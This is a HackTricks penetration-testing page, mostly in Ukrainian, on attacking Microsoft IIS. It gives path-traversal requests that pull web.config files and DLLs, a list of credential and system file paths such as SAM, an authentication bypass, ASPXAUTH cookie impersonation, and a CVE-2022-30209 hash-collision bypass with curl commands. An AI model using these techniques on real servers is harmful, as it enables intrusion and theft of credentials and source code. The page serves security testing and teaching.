IIS - Internet Information Services

Support HackTricks

Test executable file extensions:

  • asp

  • aspx

  • config

  • php

Витікання внутрішньої IP-адреси

На будь-якому сервері IIS, де ви отримуєте 302, ви можете спробувати видалити заголовок Host і використовувати HTTP/1.0, а в відповіді заголовок Location може вказувати на внутрішню IP-адресу:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Відповідь, що розкриває внутрішню IP-адресу:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Виконання .config файлів

Ви можете завантажувати .config файли та використовувати їх для виконання коду. Один зі способів зробити це - додати код в кінець файлу всередині HTML коментаря: Завантажити приклад тут

Більше інформації та технік для експлуатації цієї вразливості тут

Брутфорс виявлення IIS

Завантажте список, який я створив:

19KB
iisfinal.txt

Він був створений шляхом об'єднання вмісту наступних списків:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Використовуйте його без додавання будь-якого розширення, файли, яким це потрібно, вже мають його.

Перехід по шляху

Витік вихідного коду

Перевірте повний опис за адресою: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

У підсумку, є кілька web.config файлів всередині папок програми з посиланнями на "assemblyIdentity" файли та "namespaces". З цією інформацією можливо дізнатися де розташовані виконувані файли та завантажити їх. З завантажених Dll також можливо знайти нові простори імен, до яких слід спробувати отримати доступ і отримати web.config файл, щоб знайти нові простори імен та assemblyIdentity. Також файли connectionstrings.config та global.asax можуть містити цікаву інформацію.\

У .Net MVC додатках файл web.config відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма через XML теги "assemblyIdentity".

Дослідження бінарних файлів

Приклад доступу до файлу web.config показано нижче:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Цей запит виявляє різні налаштування та залежності, такі як:

  • EntityFramework версія

  • AppSettings для веб-сторінок, валідації клієнтів та JavaScript

  • System.web конфігурації для аутентифікації та виконання

  • System.webServer налаштування модулів

  • Runtime прив'язки збірок для численних бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc

Ці налаштування вказують на те, що певні файли, такі як /bin/WebGrease.dll, розташовані в папці /bin програми.

Файли кореневої директорії

Файли, знайдені в кореневій директорії, такі як /global.asax та /connectionstrings.config (який містить чутливі паролі), є важливими для конфігурації та роботи програми.

Простори імен та Web.Config

Додатки MVC також визначають додаткові web.config файли для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано на прикладі запиту на завантаження іншого web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Завантаження DLL

Згадка про власний простір імен вказує на наявність DLL з назвою "WebApplication1" у каталозі /bin. Після цього показано запит на завантаження WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Це вказує на наявність інших важливих DLL, таких як System.Web.Mvc.dll та System.Web.Optimization.dll, у каталозі /bin.

У сценарії, де DLL імпортує простір імен під назвою WebApplication1.Areas.Minded, зловмисник може зробити висновок про існування інших файлів web.config у передбачуваних шляхах, таких як /area-name/Views/, що містять специфічні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до /Minded/Views/web.config може виявити конфігурації та простори імен, які вказують на наявність іншої DLL, WebApplication1.AdditionalFeatures.dll.

Загальні файли

З тут

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

Якщо ви бачите помилку, подібну до наступної:

Це означає, що сервер не отримав правильне ім'я домену в заголовку Host. Щоб отримати доступ до веб-сторінки, ви можете подивитися на наданий SSL сертифікат і, можливо, знайдете там ім'я домену/піддомену. Якщо його там немає, вам, можливо, потрібно буде брутфорсити VHosts, поки не знайдете правильний.

Старі вразливості IIS, на які варто звернути увагу

Вразливість/функція символу тильди “~” Microsoft IIS – Розкриття коротких імен файлів/папок

Ви можете спробувати перерахувати папки та файли всередині кожної виявленої папки (навіть якщо це вимагає базової аутентифікації), використовуючи цю техніку. Основне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери розширення файлів.

Ви можете використовувати https://github.com/irsdl/IIS-ShortName-Scanner для перевірки цієї вразливості:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Оригінальне дослідження: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ви також можете використовувати metasploit: use scanner/http/iis_shortname_scanner

Обхід базової аутентифікації

Обійти базову аутентифікацію (IIS 7.5), намагаючись отримати доступ до: /admin:$i30:$INDEX_ALLOCATION/admin.php або /admin::$INDEX_ALLOCATION/admin.php

Ви можете спробувати поєднати цю вразливість з останньою, щоб знайти нові папки та обійти аутентифікацію.

ASP.NET Trace.AXD увімкнено налагодження

ASP.NET включає режим налагодження, і його файл називається trace.axd.

Він зберігає дуже детальний журнал усіх запитів, зроблених до програми протягом певного періоду часу.

Ця інформація включає IP-адреси віддалених клієнтів, ідентифікатори сесій, усі куки запитів і відповідей, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів і паролі.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH використовує таку інформацію:

  • validationKey (рядок): ключ у шістнадцятковому кодуванні для використання для перевірки підпису.

  • decryptionMethod (рядок): (за замовчуванням “AES”).

  • decryptionIV (рядок): вектор ініціалізації у шістнадцятковому кодуванні (за замовчуванням вектор нулів).

  • decryptionKey (рядок): ключ у шістнадцятковому кодуванні для використання для розшифрування.

Однак деякі люди використовують значення за замовчуванням цих параметрів і використовують як куку електронну пошту користувача. Тому, якщо ви зможете знайти веб-сайт, що використовує ту ж платформу, яка використовує куку ASPXAUTH, і ви створите користувача з електронною поштою користувача, якого хочете видати на сервері під атакою, ви зможете використати куку з другого сервера на першому і видати себе за користувача. Цей напад спрацював у цьому описі.

Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209)

Повний звіт тут: Помилка в коді не перевіряла належним чином пароль, наданий користувачем, тому зловмисник, чий хеш пароля потрапляє в ключ, який вже є в кеші, зможе увійти як цей користувач.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Підтримайте HackTricks

Last updated